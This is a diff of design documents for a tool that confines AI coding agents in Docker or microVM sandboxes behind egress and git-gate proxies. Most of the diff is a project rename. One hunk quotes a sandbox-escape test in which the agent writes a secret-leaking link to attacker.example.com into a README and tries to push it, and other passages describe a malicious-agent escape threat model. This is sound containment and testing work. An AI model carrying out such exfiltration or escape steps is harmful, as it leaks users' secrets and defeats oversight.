- **`cli.py`** — adds the dashboard subcommand.
|
||||
|
||||
### Data model changes
|
||||
|
||||
@@ -106,7 +106,7 @@ delivery.
|
||||
apply path. SIGHUP reload semantics carry over to egress-proxy.
|
||||
- PRD 0013 (supervise plane) `cred-proxy-block` MCP tool stays;
|
||||
its proposed file format updates per the new route shape.
|
||||
- Removal of the old cred-proxy code: `claude_bottle/cred_proxy.py`,
|
||||
- Removal of the old cred-proxy code: `bot_bottle/cred_proxy.py`,
|
||||
`cred_proxy_server.py`, `backend/docker/cred_proxy.py`,
|
||||
`provision/cred_proxy.py`, the `Dockerfile.cred-proxy`. Tests
|
||||
updated.
|
||||
@@ -254,8 +254,8 @@ manifest load:
|
||||
`path` → `host`, drop the agent-side URL prefix).
|
||||
- `cred_proxy_routes` field on existing dataclasses removed.
|
||||
- `Dockerfile.cred-proxy` deleted.
|
||||
- `claude_bottle/cred_proxy*.py` deleted.
|
||||
- `claude_bottle/backend/docker/cred_proxy*.py` consolidated into
|
||||
- `bot_bottle/cred_proxy*.py` deleted.
|
||||
- `bot_bottle/backend/docker/cred_proxy*.py` consolidated into
|
||||
`egress_proxy*.py`.
|
||||
- Provisioner files renamed.
|
||||
- PRDs 0010 (cred-proxy), 0014 (cred-proxy-block remediation)
|
||||
|
||||
@@ -15,7 +15,7 @@ down`. Logs come from `docker compose logs` and land in a single file
|
||||
per instance, so reading what happened in a session is one `less`
|
||||
away.
|
||||
|
||||
State for each instance (`~/.claude-bottle/state/<slug>/`) becomes a
|
||||
State for each instance (`~/.bot-bottle/state/<slug>/`) becomes a
|
||||
self-describing folder:
|
||||
|
||||
```
|
||||
@@ -34,7 +34,7 @@ together fully describe the container topology.
|
||||
|
||||
Today `start` builds each sidecar (`pipelock`, `egress`, `git-gate`,
|
||||
`supervise`) and the agent container with a chain of individual SDK
|
||||
calls in `claude_bottle/backend/docker/launch.py`:
|
||||
calls in `bot_bottle/backend/docker/launch.py`:
|
||||
|
||||
- A per-sidecar `Docker{Sidecar}.start()` method does
|
||||
`docker create` → `docker cp` (stage files) → `docker network
|
||||
@@ -50,7 +50,7 @@ This is fine, but it has three rough edges:
|
||||
|
||||
2. **Logs are scattered.** Each container's logs sit in Docker's per-
|
||||
container journal. To debug a session post-mortem you have to
|
||||
remember to run `docker logs claude-bottle-pipelock-<slug>` etc.
|
||||
remember to run `docker logs bot-bottle-pipelock-<slug>` etc.
|
||||
before the containers age out, and there's no merged view.
|
||||
|
||||
3. **Teardown is bespoke.** Each sidecar's `stop()` is its own
|
||||
@@ -62,14 +62,14 @@ project name per environment, merged logs, atomic up/down.
|
||||
|
||||
## Goals / Success Criteria
|
||||
|
||||
1. `claude-bottle start <agent>` writes
|
||||
`~/.claude-bottle/state/<slug>/docker-compose.yml` and brings the
|
||||
1. `bot-bottle start <agent>` writes
|
||||
`~/.bot-bottle/state/<slug>/docker-compose.yml` and brings the
|
||||
project up with `docker compose -p <project> up`.
|
||||
2. The compose file is the source of truth for the container
|
||||
topology — every sidecar that runs is declared as a `services:`
|
||||
entry, every network is a `networks:` entry, every bind mount is
|
||||
a `volumes:` entry.
|
||||
3. `~/.claude-bottle/state/<slug>/compose.log` contains the full
|
||||
3. `~/.bot-bottle/state/<slug>/compose.log` contains the full
|
||||
merged stdout/stderr of every service for the session, in
|
||||
`docker compose logs --no-color` format.
|
||||
4. `metadata.json` records the compose project name alongside the
|
||||
@@ -79,7 +79,7 @@ project name per environment, merged logs, atomic up/down.
|
||||
5. Session teardown is `docker compose -p <project> down`. The
|
||||
existing per-sidecar `stop()` lifecycle methods come out.
|
||||
6. The `cleanup` CLI uses `docker compose ls` (filtered to
|
||||
`claude-bottle-*` projects) instead of name-prefix scans across
|
||||
`bot-bottle-*` projects) instead of name-prefix scans across
|
||||
`docker ps -a` and `docker network ls`.
|
||||
7. The existing remediation flows (`pipelock-block`,
|
||||
`egress-block`, `capability-block`) keep working without
|
||||
@@ -95,7 +95,7 @@ project name per environment, merged logs, atomic up/down.
|
||||
implementation detail of the Docker backend.
|
||||
- **Replacing the backend abstraction (PRD 0003).** `Backend` stays
|
||||
abstract; only the Docker implementation changes.
|
||||
- **A long-lived "claude-bottle daemon."** Each `start` invocation
|
||||
- **A long-lived "bot-bottle daemon."** Each `start` invocation
|
||||
still owns a single compose project for the lifetime of the
|
||||
session. No persistent service.
|
||||
- **Image pre-building.** Compose's `build:` directive triggers
|
||||
@@ -109,7 +109,7 @@ project name per environment, merged logs, atomic up/down.
|
||||
|
||||
### In scope
|
||||
|
||||
- New module `claude_bottle/backend/docker/compose.py` that renders a
|
||||
- New module `bot_bottle/backend/docker/compose.py` that renders a
|
||||
compose dict from a `BottlePlan` and writes it to
|
||||
`state/<slug>/docker-compose.yml`.
|
||||
- `DockerBackend.start` rewritten to:
|
||||
@@ -118,7 +118,7 @@ project name per environment, merged logs, atomic up/down.
|
||||
into host paths under `state/<slug>/`.
|
||||
3. Render + write the compose file.
|
||||
4. Exec `docker compose -p <project> up -d`.
|
||||
5. `docker attach claude-bottle-<slug>` for the agent's TTY.
|
||||
5. `docker attach bot-bottle-<slug>` for the agent's TTY.
|
||||
6. On exit: `docker compose -p <project> logs --no-color`
|
||||
→ `state/<slug>/compose.log`, then `docker compose -p
|
||||
<project> down --volumes`.
|
||||
@@ -134,12 +134,12 @@ project name per environment, merged logs, atomic up/down.
|
||||
|
||||
### Out of scope
|
||||
|
||||
- Changing the manifest layer (`claude_bottle/manifest.py`,
|
||||
- Changing the manifest layer (`bot_bottle/manifest.py`,
|
||||
`egress.py`'s plan dataclasses, `pipelock.py`'s plan dataclasses).
|
||||
- Changing the agent's runtime contract (proxy env vars, CA bundle
|
||||
paths, current-config mount path).
|
||||
- Changing audit-log shape or location (
|
||||
`~/.claude-bottle/audit/<component>-<slug>.log` stays).
|
||||
`~/.bot-bottle/audit/<component>-<slug>.log` stays).
|
||||
- Changing the MCP server's tool list or wire format.
|
||||
- Dropping the `--rm` semantics for the agent: the agent container
|
||||
is still ephemeral; compose's `down --volumes` handles cleanup.
|
||||
@@ -148,7 +148,7 @@ project name per environment, merged logs, atomic up/down.
|
||||
|
||||
### Project name
|
||||
|
||||
`compose_project = f"claude-bottle-{slug}"`. The slug stays the
|
||||
`compose_project = f"bot-bottle-{slug}"`. The slug stays the
|
||||
existing `slugify(agent_name)-<5-char-random-base36>` from
|
||||
`bottle_state.py`. Compose adds its own prefix to networks
|
||||
(`<project>_<network>`) and to default container names — which is
|
||||
@@ -163,29 +163,29 @@ an explicit `container_name:` matching today's pattern:
|
||||
```yaml
|
||||
services:
|
||||
pipelock:
|
||||
container_name: claude-bottle-pipelock-<slug>
|
||||
container_name: bot-bottle-pipelock-<slug>
|
||||
egress:
|
||||
container_name: claude-bottle-egress-<slug>
|
||||
container_name: bot-bottle-egress-<slug>
|
||||
# ...
|
||||
```
|
||||
|
||||
This keeps the dashboard's container-discovery output stable for
|
||||
operators who've memorized the names. The compose project name
|
||||
(`claude-bottle-<slug>`) is the only new identifier.
|
||||
(`bot-bottle-<slug>`) is the only new identifier.
|
||||
|
||||
### Networks
|
||||
|
||||
The two existing networks (`claude-bottle-net-<slug>` internal +
|
||||
`claude-bottle-egress-<slug>` upstream-bridge) become compose
|
||||
The two existing networks (`bot-bottle-net-<slug>` internal +
|
||||
`bot-bottle-egress-<slug>` upstream-bridge) become compose
|
||||
networks:
|
||||
|
||||
```yaml
|
||||
networks:
|
||||
internal:
|
||||
name: claude-bottle-net-<slug>
|
||||
name: bot-bottle-net-<slug>
|
||||
internal: true
|
||||
egress:
|
||||
name: claude-bottle-egress-<slug>
|
||||
name: bot-bottle-egress-<slug>
|
||||
```
|
||||
|
||||
Each service's `networks:` list mirrors today's wiring.
|
||||
@@ -238,7 +238,7 @@ sidecars that exist.
|
||||
### Logging
|
||||
|
||||
`docker compose up -d` starts everything detached. The agent is
|
||||
attached for the user's TTY via `docker attach claude-bottle-
|
||||
attached for the user's TTY via `docker attach bot-bottle-
|
||||
<slug>`. Sidecars stream into Docker's per-container journals
|
||||
during the session, exactly as today, and `docker compose logs -f`
|
||||
gives a merged tail if the user wants it (the dashboard can shell
|
||||
@@ -265,7 +265,7 @@ Add one field; everything else is unchanged.
|
||||
"agent_name": "implementer",
|
||||
"cwd": "/Users/.../some-project",
|
||||
"started_at": "2026-05-25T20:13:04Z",
|
||||
"compose_project": "claude-bottle-implementer-a7k3f"
|
||||
"compose_project": "bot-bottle-implementer-a7k3f"
|
||||
}
|
||||
```
|
||||
|
||||
@@ -291,13 +291,13 @@ After this PRD:
|
||||
### Cleanup CLI
|
||||
|
||||
`./cli.py cleanup` switches from "list every container with prefix
|
||||
`claude-bottle-` and every network with prefix `claude-bottle-net-`
|
||||
or `claude-bottle-egress-`" to:
|
||||
`bot-bottle-` and every network with prefix `bot-bottle-net-`
|
||||
or `bot-bottle-egress-`" to:
|
||||
|
||||
1. `docker compose ls --all --format json` → filter to projects
|
||||
whose name starts with `claude-bottle-`.
|
||||
whose name starts with `bot-bottle-`.
|
||||
2. For each: `docker compose -p <project> down --volumes`.
|
||||
3. Reap any state dirs under `~/.claude-bottle/state/` whose
|
||||
3. Reap any state dirs under `~/.bot-bottle/state/` whose
|
||||
`compose_project` no longer appears in `compose ls`.
|
||||
|
||||
Strays from pre-compose code-paths can be mopped up by keeping the
|
||||
@@ -313,7 +313,7 @@ existing prefix scan as a fallback for one release.
|
||||
2. **How does `claude` reach the agent's TTY?** Decided: keep
|
||||
today's `docker exec -it` model. Agent runs `sleep infinity`
|
||||
under compose; `DockerBottle.exec_claude` runs
|
||||
`docker exec -it claude-bottle-<slug> claude ...` exactly like
|
||||
`docker exec -it bot-bottle-<slug> claude ...` exactly like
|
||||
today. Compose owns the lifecycle (so `compose logs` includes
|
||||
the agent's stdout, `compose down` tears it down), but the
|
||||
user-facing exec model is unchanged. Rejected `docker attach`
|
||||
@@ -332,8 +332,8 @@ existing prefix scan as a fallback for one release.
|
||||
|
||||
5. **Image build caching.** `build:` in compose rebuilds on first
|
||||
`up` unless the image is already tagged. The per-sidecar images
|
||||
(`claude-bottle-pipelock`, `claude-bottle-egress`,
|
||||
`claude-bottle-git-gate`, `claude-bottle-supervise`) should
|
||||
(`bot-bottle-pipelock`, `bot-bottle-egress`,
|
||||
`bot-bottle-git-gate`, `bot-bottle-supervise`) should
|
||||
stay tagged on the daemon between runs so we don't rebuild on
|
||||
every start. Verify compose's behavior matches.
|
||||
|
||||
|
||||
@@ -128,7 +128,7 @@ the "operator wants to make an unprompted change" case.
|
||||
### Layout
|
||||
|
||||
```
|
||||
claude-bottle dashboard (3 pending, 2 active)
|
||||
bot-bottle dashboard (3 pending, 2 active)
|
||||
─────────────────────────────────────────────────────────
|
||||
proposals:
|
||||
03:14:22 [implementer-cy7a6] egress-block abc123…
|
||||
|
||||
@@ -63,7 +63,7 @@ captures full-merged logs per bottle (PRD 0018). It already
|
||||
→ restore`, matching the existing editor-flow pattern.
|
||||
3. On launch success, the dashboard performs a handoff (option
|
||||
1 from the research doc): `curses.endwin()` → `docker exec
|
||||
-it claude-bottle-<slug> claude --dangerously-skip-permissions`
|
||||
-it bot-bottle-<slug> claude --dangerously-skip-permissions`
|
||||
→ on exit, `stdscr.refresh()` and re-render with the new
|
||||
bottle in the agents pane.
|
||||
4. The bottle's lifetime is owned by the dashboard process, NOT
|
||||
@@ -268,7 +268,7 @@ dashboard started this session, the dashboard holds the
|
||||
`bottle.exec_claude(...)`. For an agent it discovered via
|
||||
`list_active_slugs` (previous-dashboard or external start),
|
||||
the dashboard synthesizes a one-shot `DockerBottle` from the
|
||||
slug — container name is `claude-bottle-<slug>`, no prompt
|
||||
slug — container name is `bot-bottle-<slug>`, no prompt
|
||||
path because the agent's claude config already has `--append-
|
||||
system-prompt-file` baked in from the original launch —
|
||||
and runs the same exec. Either way, Enter drops to
|
||||
@@ -284,7 +284,7 @@ agents pane.
|
||||
`x` on a non-owned agent (discovered via `list_active_slugs`
|
||||
but not in `bottles` dict): no-op with status hint pointing
|
||||
at `./cli.py cleanup` (the existing path that tears down
|
||||
ANY claude-bottle compose project plus reaps state dirs).
|
||||
ANY bot-bottle compose project plus reaps state dirs).
|
||||
|
||||
### Dashboard quit
|
||||
|
||||
@@ -392,5 +392,5 @@ Sized for one PR each.
|
||||
- `docs/research/claude-code-pane-in-dashboard.md` — option 1
|
||||
(handoff) is what `attach_claude` implements here; options 2
|
||||
/ 3 are out of scope for this PRD
|
||||
- `claude_bottle/cli/start.py:_launch_bottle` — the function
|
||||
- `bot_bottle/cli/start.py:_launch_bottle` — the function
|
||||
chunk 1 extracts the prepare + attach pieces out of
|
||||
|
||||
@@ -46,7 +46,7 @@ window, two panes, no terminal handoff.
|
||||
two-pane layout: dashboard in the left pane, an initially-
|
||||
empty right pane reserved for claude sessions.
|
||||
2. Pressing Enter on a focused agent row spawns / respawns the
|
||||
right pane with `docker exec -it claude-bottle-<slug> claude
|
||||
right pane with `docker exec -it bot-bottle-<slug> claude
|
||||
--continue --dangerously-skip-permissions`. The right pane's
|
||||
prior content (if any) is replaced.
|
||||
3. Pressing `n` to start a new agent (the existing chunk-2 flow
|
||||
|
||||
@@ -26,7 +26,7 @@ The suite is the backend-agnostic gate the smolmachines work
|
||||
has to pass before that backend can be considered a viable
|
||||
substitute for Docker. Today's Docker backend is the
|
||||
backend-under-test; the suite runs against whatever
|
||||
`CLAUDE_BOTTLE_BACKEND` resolves to.
|
||||
`BOT_BOTTLE_BACKEND` resolves to.
|
||||
|
||||
## Problem
|
||||
|
||||
@@ -121,7 +121,7 @@ destination outside the bottle.
|
||||
suite is written against the abstract `BottleBackend` API
|
||||
via the existing `get_bottle_backend()` selector; future
|
||||
smolmachines work flips
|
||||
`CLAUDE_BOTTLE_BACKEND=smolmachines` and reruns. No
|
||||
`BOT_BOTTLE_BACKEND=smolmachines` and reruns. No
|
||||
smolmachines-specific code here.
|
||||
|
||||
## Scope
|
||||
@@ -212,7 +212,7 @@ scan happens first.
|
||||
### Per-attack scaffolding
|
||||
|
||||
Each test calls `bottle.exec(script)` (the existing
|
||||
`Bottle.exec` from `claude_bottle.backend.Bottle`) and
|
||||
`Bottle.exec` from `bot_bottle.backend.Bottle`) and
|
||||
asserts on the returncode + stdout + stderr.
|
||||
|
||||
The agent container has `curl`, `git`, `dig`, etc. pre-
|
||||
@@ -331,7 +331,7 @@ def test_5_readme_push_blocked(self):
|
||||
f'echo "[click](https://attacker.example.com/?leak={env_ref})" > README.md && '
|
||||
'git add . && git commit -m "leak" && '
|
||||
'git remote add origin '
|
||||
'git://claude-bottle-git-gate-<slug>/throwaway.git && '
|
||||
'git://bot-bottle-git-gate-<slug>/throwaway.git && '
|
||||
'git push origin master'
|
||||
)
|
||||
self.assertNotEqual(0, result.returncode)
|
||||
@@ -460,7 +460,7 @@ Sized small.
|
||||
already dies with a clear message naming the unknown
|
||||
backend; the test surfaces that as a hard error
|
||||
rather than a skip. Forces the developer to set
|
||||
`CLAUDE_BOTTLE_BACKEND` to a real implementation —
|
||||
`BOT_BOTTLE_BACKEND` to a real implementation —
|
||||
surprise-skips on smolmachines branches that forgot to
|
||||
set the env var are worse than a loud failure.
|
||||
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
Ship a second concrete `BottleBackend` —
|
||||
`SmolmachinesBottleBackend`, selected via
|
||||
`CLAUDE_BOTTLE_BACKEND=smolmachines` — that runs each bottle inside
|
||||
`BOT_BOTTLE_BACKEND=smolmachines` — that runs each bottle inside
|
||||
a per-agent libkrun microVM via `smolvm`. Egress is enforced by
|
||||
libkrun's TSI ("Transport Socket Interface") allowlist set to a
|
||||
**single /32** — the docker IP of the per-bottle sidecar bundle
|
||||
@@ -28,7 +28,7 @@ port-granular.
|
||||
The Docker backend ships unchanged; this is opt-in via the existing
|
||||
env-var selector. The acceptance gate is PRD 0022's
|
||||
`tests/integration/test_sandbox_escape.py` running green against
|
||||
`CLAUDE_BOTTLE_BACKEND=smolmachines`.
|
||||
`BOT_BOTTLE_BACKEND=smolmachines`.
|
||||
|
||||
### Design pivot from the first draft
|
||||
|
||||
@@ -63,7 +63,7 @@ with significantly less code.
|
||||
container-based bottles on macOS; `smolmachines-as-vm-backend.md`
|
||||
evaluates smolmachines as the lifecycle wrapper. Today, the only
|
||||
backend in the registry is Docker
|
||||
(`claude_bottle/backend/__init__.py:_BACKENDS = {"docker": ...}`),
|
||||
(`bot_bottle/backend/__init__.py:_BACKENDS = {"docker": ...}`),
|
||||
and four things motivate a second one now:
|
||||
|
||||
- **Network reach beyond pipelock.** The threat model is a malicious
|
||||
@@ -85,7 +85,7 @@ and four things motivate a second one now:
|
||||
enforced by the CPU's MMU instead of namespace bookkeeping.
|
||||
- **PRD 0022 is backend-agnostic by design** but currently only
|
||||
exercises the Docker backend. The suite was written with
|
||||
`CLAUDE_BOTTLE_BACKEND` selection in mind precisely so the
|
||||
`BOT_BOTTLE_BACKEND` selection in mind precisely so the
|
||||
smolmachines path could be validated against the same five
|
||||
attacks. Until a second backend exists, the abstraction is
|
||||
unproven.
|
||||
@@ -143,7 +143,7 @@ virtio-net carve-out smolvm doesn't expose anyway).
|
||||
The feature works when all of the following are observable on a
|
||||
macOS host with smolmachines installed:
|
||||
|
||||
- `CLAUDE_BOTTLE_BACKEND=smolmachines python3 cli.py start <agent>`
|
||||
- `BOT_BOTTLE_BACKEND=smolmachines python3 cli.py start <agent>`
|
||||
brings up a microVM, runs claude-code inside it, and tears it
|
||||
down on exit. Same y/N preflight UX as Docker — only the
|
||||
resolved-runtime line differs.
|
||||
@@ -160,14 +160,14 @@ macOS host with smolmachines installed:
|
||||
|
||||
The feature is **done** when all of the following ship:
|
||||
|
||||
- A new `claude_bottle/backend/smolmachines/` subpackage exists,
|
||||
mirroring the layout of `claude_bottle/backend/docker/`
|
||||
- A new `bot_bottle/backend/smolmachines/` subpackage exists,
|
||||
mirroring the layout of `bot_bottle/backend/docker/`
|
||||
(`backend.py`, `bottle.py`, `bottle_plan.py`,
|
||||
`bottle_cleanup_plan.py`, `prepare.py`, `launch.py`,
|
||||
`cleanup.py`, `util.py`, and a `provision/` subpackage for the
|
||||
five `provision_*` methods).
|
||||
- `SmolmachinesBottleBackend` registered under the
|
||||
`"smolmachines"` key in `claude_bottle/backend/__init__.py:_BACKENDS`.
|
||||
`"smolmachines"` key in `bot_bottle/backend/__init__.py:_BACKENDS`.
|
||||
- Per-bottle Smolfile generation: a runtime-rendered TOML written
|
||||
to the bottle's stage dir using smolvm 0.8.0's actual schema
|
||||
(`image`, `entrypoint`, `cmd`, `env = ["K=V", …]`, `[network]
|
||||
@@ -197,7 +197,7 @@ The feature is **done** when all of the following ship:
|
||||
step is part of `prepare`, analogous to
|
||||
`docker_mod.build_image`.
|
||||
- The PRD 0022 sandbox-escape suite, run with
|
||||
`CLAUDE_BOTTLE_BACKEND=smolmachines`, passes locally on a
|
||||
`BOT_BOTTLE_BACKEND=smolmachines`, passes locally on a
|
||||
smolmachines-capable host. The suite is updated to skip cleanly
|
||||
on hosts that can't reach smolmachines (same shape as the
|
||||
existing `GITEA_ACTIONS == "true"` skip), not to fail.
|
||||
@@ -215,7 +215,7 @@ The feature is **done** when all of the following ship:
|
||||
side. Selection stays env-driven; the manifest does not gain a
|
||||
`backend` field.
|
||||
- **No default-backend change.** `docker` remains the default
|
||||
value of `CLAUDE_BOTTLE_BACKEND`; smolmachines is strictly
|
||||
value of `BOT_BOTTLE_BACKEND`; smolmachines is strictly
|
||||
opt-in until it has been load-bearing on at least one operator's
|
||||
workflow for a release cycle.
|
||||
- **No `--outbound-localhost-only`.** That TSI flag opens the
|
||||
@@ -251,7 +251,7 @@ The feature is **done** when all of the following ship:
|
||||
|
||||
### In scope
|
||||
|
||||
- New `claude_bottle/backend/smolmachines/` subpackage with the
|
||||
- New `bot_bottle/backend/smolmachines/` subpackage with the
|
||||
full set of `BottleBackend` overrides.
|
||||
- Smolfile generator (TOML) emitting the smolvm 0.8.0 schema:
|
||||
top-level `image`, `entrypoint`, `cmd`, `env = [...]`,
|
||||
@@ -267,7 +267,7 @@ The feature is **done** when all of the following ship:
|
||||
- Per-bottle CA install path: the bundle's CA cert lands inside
|
||||
the microVM via `smolvm machine exec` after start
|
||||
(analogous to the existing `provision_ca` for Docker).
|
||||
- Per-bottle docker bridge: a `claude-bottle-bundle-<slug>`
|
||||
- Per-bottle docker bridge: a `bot-bottle-bundle-<slug>`
|
||||
network with a /24 subnet derived from the slug hash; the
|
||||
bundle gets a pinned IP at `.2` (gateway is `.1`). Pinning the
|
||||
IP at start time avoids a race between the bundle's IP being
|
||||
@@ -314,7 +314,7 @@ The feature is **done** when all of the following ship:
|
||||
### Backend layout
|
||||
|
||||
```
|
||||
claude_bottle/backend/smolmachines/
|
||||
bot_bottle/backend/smolmachines/
|
||||
__init__.py re-exports SmolmachinesBottleBackend
|
||||
backend.py SmolmachinesBottleBackend façade
|
||||
bottle.py SmolmachinesBottle (exec_claude / exec / cp_in / close)
|
||||
@@ -339,7 +339,7 @@ design needs neither.
|
||||
```
|
||||
┌── macOS host ─────────────────────────────────────────────────────┐
|
||||
│ │
|
||||
│ ┌── per-bottle docker bridge claude-bottle-bundle-<slug> ──┐ │
|
||||
│ ┌── per-bottle docker bridge bot-bottle-bundle-<slug> ──┐ │
|
||||
│ │ subnet: 192.168.X.0/24 (X = hash(slug) mod 254) │ │
|
||||
│ │ │ │
|
||||
│ │ ┌── bundle container (pinned --ip 192.168.X.2) ────────┐ │ │
|
||||
@@ -401,9 +401,9 @@ Three changes vs. the Docker backend:
|
||||
transport tested. The conversion path is a registry hop: bring
|
||||
up an ephemeral `registry:2.8.3` container bound to
|
||||
`127.0.0.1:<random>`, `docker tag` + `docker push` into it,
|
||||
`smolvm pack create --image localhost:<port>/claude-bottle:<id>`,
|
||||
`smolvm pack create --image localhost:<port>/bot-bottle:<id>`,
|
||||
tear down the registry. The `.smolmachine` is cached under
|
||||
`~/.cache/claude-bottle/smolmachines/` keyed by the docker
|
||||
`~/.cache/bot-bottle/smolmachines/` keyed by the docker
|
||||
image ID, so Dockerfile changes invalidate the cache and
|
||||
unchanged rebuilds skip the whole pipeline.
|
||||
4. Render the per-bottle Smolfile to `stage_dir/smolfile.toml`
|
||||
@@ -424,7 +424,7 @@ Three changes vs. the Docker backend:
|
||||
`SmolmachinesBottleBackend.launch(plan)`:
|
||||
|
||||
1. Create the per-bottle docker bridge network
|
||||
(`claude-bottle-bundle-<slug>` with the resolved subnet) and
|
||||
(`bot-bottle-bundle-<slug>` with the resolved subnet) and
|
||||
start the sidecar bundle container with `docker run --network
|
||||
... --ip <bundle-ip> ...`. Wait for its daemons to bind:
|
||||
pipelock on 8888, git-gate on 9418 (conditional), supervise
|
||||
@@ -457,7 +457,7 @@ The `BottleSpec` dataclass and the `Bottle` ABC do not change.
|
||||
|
||||
### Selection wiring
|
||||
|
||||
In `claude_bottle/backend/__init__.py`:
|
||||
In `bot_bottle/backend/__init__.py`:
|
||||
|
||||
```python
|
||||
from .docker import DockerBottleBackend
|
||||
@@ -508,7 +508,7 @@ The existing "unknown backend" `die()` path stays as-is.
|
||||
(egress's port) is refused — confirming the bundle-internal
|
||||
bind of egress to `127.0.0.1` works as the port-granularity
|
||||
layer TSI doesn't provide.
|
||||
- **PRD 0022 re-run:** with `CLAUDE_BOTTLE_BACKEND=smolmachines`,
|
||||
- **PRD 0022 re-run:** with `BOT_BOTTLE_BACKEND=smolmachines`,
|
||||
all five attack categories return sandbox-block markers and the
|
||||
suite passes. The test code does not change beyond the env-var
|
||||
flip — that's the contract the PRD 0022 abstraction was
|
||||
@@ -517,7 +517,7 @@ The existing "unknown backend" `die()` path stays as-is.
|
||||
## Sizing — into chunks
|
||||
|
||||
PRD 0024's bundle image is a prerequisite — this PRD assumes
|
||||
`claude-bottle-sidecars:<pinned>` is available when chunk 3 lands.
|
||||
`bot-bottle-sidecars:<pinned>` is available when chunk 3 lands.
|
||||
|
||||
1. **Backend skeleton + selection + Smolfile/gvproxy renderers.**
|
||||
*Shipped (PR #62), but under the now-rejected gvproxy design.*
|
||||
@@ -598,7 +598,7 @@ PRD 0024's bundle image is a prerequisite — this PRD assumes
|
||||
enumerate active bottles (`list_active` queries the daemon).
|
||||
The microVM enumeration story is `smolvm machine ls --json`;
|
||||
the plan is to filter on a deterministic name prefix
|
||||
`claude-bottle-<slug>` + cross-reference with on-disk metadata
|
||||
`bot-bottle-<slug>` + cross-reference with on-disk metadata
|
||||
under `state/<slug>/`.
|
||||
8. **Loopback scoping (Docker Desktop pivot).** The original
|
||||
design pinned the bundle at a docker bridge IP and set TSI's
|
||||
@@ -667,5 +667,5 @@ PRD 0024's bundle image is a prerequisite — this PRD assumes
|
||||
needed to exercise the smolmachines path.
|
||||
- PRD 0024
|
||||
(`docs/prds/0024-consolidate-sidecar-bundle.md`) — defines the
|
||||
single bundle image (`claude-bottle-sidecars`) this PRD
|
||||
single bundle image (`bot-bottle-sidecars`) this PRD
|
||||
consumes. Prerequisite for chunk 3 of this PRD.
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
|
||||
Replace the four per-bottle sidecar containers in the Docker
|
||||
backend (pipelock, egress, git-gate, supervise) with a single
|
||||
container image — `claude-bottle-sidecars` — that runs all four
|
||||
container image — `bot-bottle-sidecars` — that runs all four
|
||||
daemons under a small stdlib-Python init supervisor. Same
|
||||
per-bottle lifetime, same scope, fewer containers per bottle,
|
||||
one Dockerfile to maintain instead of three. Outcome: the
|
||||
@@ -64,7 +64,7 @@ The feature works when all of the following are observable:
|
||||
speak the same protocols on the same well-known in-container
|
||||
ports as before; only the container hostname changes.
|
||||
- The sandbox-escape suite from PRD 0022 stays green.
|
||||
- `docker logs claude-bottle-sidecars-<slug>` shows interleaved
|
||||
- `docker logs bot-bottle-sidecars-<slug>` shows interleaved
|
||||
output from all four daemons, prefixed by the supervisor with
|
||||
the daemon name. Each daemon's exit propagates through the
|
||||
supervisor to the container's exit code.
|
||||
@@ -77,18 +77,18 @@ The feature is **done** when all of the following ship:
|
||||
- A new `Dockerfile.sidecars` (multi-stage) that:
|
||||
- Copies the `pipelock` binary from the upstream pipelock
|
||||
image (currently `ghcr.io/luckypipewrench/pipelock` pinned
|
||||
by digest in `claude_bottle/backend/docker/pipelock.py`).
|
||||
by digest in `bot_bottle/backend/docker/pipelock.py`).
|
||||
- Copies the `gitleaks` binary from `zricethezav/gitleaks`
|
||||
(currently pinned by digest in `Dockerfile.git-gate`).
|
||||
- Installs `mitmdump` (via `pip install mitmproxy==<pinned>`).
|
||||
- Installs the system deps `git-daemon` + `openssh-client`
|
||||
that git-gate needs.
|
||||
- Copies the existing addon + server Python from
|
||||
`claude_bottle/egress_addon.py`, `egress_addon_core.py`,
|
||||
`bot_bottle/egress_addon.py`, `egress_addon_core.py`,
|
||||
`yaml_subset.py`, `supervise.py`, `supervise_server.py`.
|
||||
- Drops in a new `claude_bottle/sidecar_init.py` (stdlib
|
||||
- Drops in a new `bot_bottle/sidecar_init.py` (stdlib
|
||||
Python) as the container's `ENTRYPOINT`.
|
||||
- A new `claude_bottle/sidecar_init.py` — a small Python init
|
||||
- A new `bot_bottle/sidecar_init.py` — a small Python init
|
||||
supervisor that:
|
||||
- Reads which daemons to run from env (defaults: all four).
|
||||
- Spawns each as a `subprocess.Popen` with prefixed
|
||||
@@ -99,13 +99,13 @@ The feature is **done** when all of the following ship:
|
||||
- Exits with code 0 only if every child exited 0; otherwise
|
||||
exits 1. (Or: any-child-died → tear down the rest and exit
|
||||
that child's code — see open question 2.)
|
||||
- `claude_bottle/backend/docker/compose.py` renderer updated to
|
||||
- `bot_bottle/backend/docker/compose.py` renderer updated to
|
||||
emit one `sidecars` service in place of the four. The four
|
||||
in-container ports (8888 / 9099 / 9418 / 9100, today) all
|
||||
land on the same container; the agent-facing ports
|
||||
(HTTPS_PROXY, git-gate-SSH, supervise-MCP) are published as
|
||||
before, just from one container instead of three.
|
||||
- `claude_bottle/backend/docker/{pipelock,egress,git_gate,supervise}.py`
|
||||
- `bot_bottle/backend/docker/{pipelock,egress,git_gate,supervise}.py`
|
||||
collapsed: the platform-neutral pieces stay
|
||||
(`PipelockProxy`, `Egress`, `GitGate`, `Supervise` ABCs and
|
||||
their plans), the docker-specific subclasses lose their
|
||||
@@ -161,7 +161,7 @@ The feature is **done** when all of the following ship:
|
||||
- New `Dockerfile.sidecars` (multi-stage) bringing pipelock,
|
||||
mitmproxy, gitleaks, git-daemon, openssh-client, and the
|
||||
project's addon + server Python into one image.
|
||||
- New `claude_bottle/sidecar_init.py` supervising the four
|
||||
- New `bot_bottle/sidecar_init.py` supervising the four
|
||||
daemons.
|
||||
- `backend/docker/compose.py` renderer collapse (five services
|
||||
→ two).
|
||||
@@ -217,12 +217,12 @@ RUN apt-get update \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Drop in the project's Python addon + server code
|
||||
COPY claude_bottle/egress_addon_core.py /app/egress_addon_core.py
|
||||
COPY claude_bottle/egress_addon.py /app/egress_addon.py
|
||||
COPY claude_bottle/yaml_subset.py /app/yaml_subset.py
|
||||
COPY claude_bottle/supervise.py /app/supervise.py
|
||||
COPY claude_bottle/supervise_server.py /app/supervise_server.py
|
||||
COPY claude_bottle/sidecar_init.py /app/sidecar_init.py
|
||||
COPY bot_bottle/egress_addon_core.py /app/egress_addon_core.py
|
||||
COPY bot_bottle/egress_addon.py /app/egress_addon.py
|
||||
COPY bot_bottle/yaml_subset.py /app/yaml_subset.py
|
||||
COPY bot_bottle/supervise.py /app/supervise.py
|
||||
COPY bot_bottle/supervise_server.py /app/supervise_server.py
|
||||
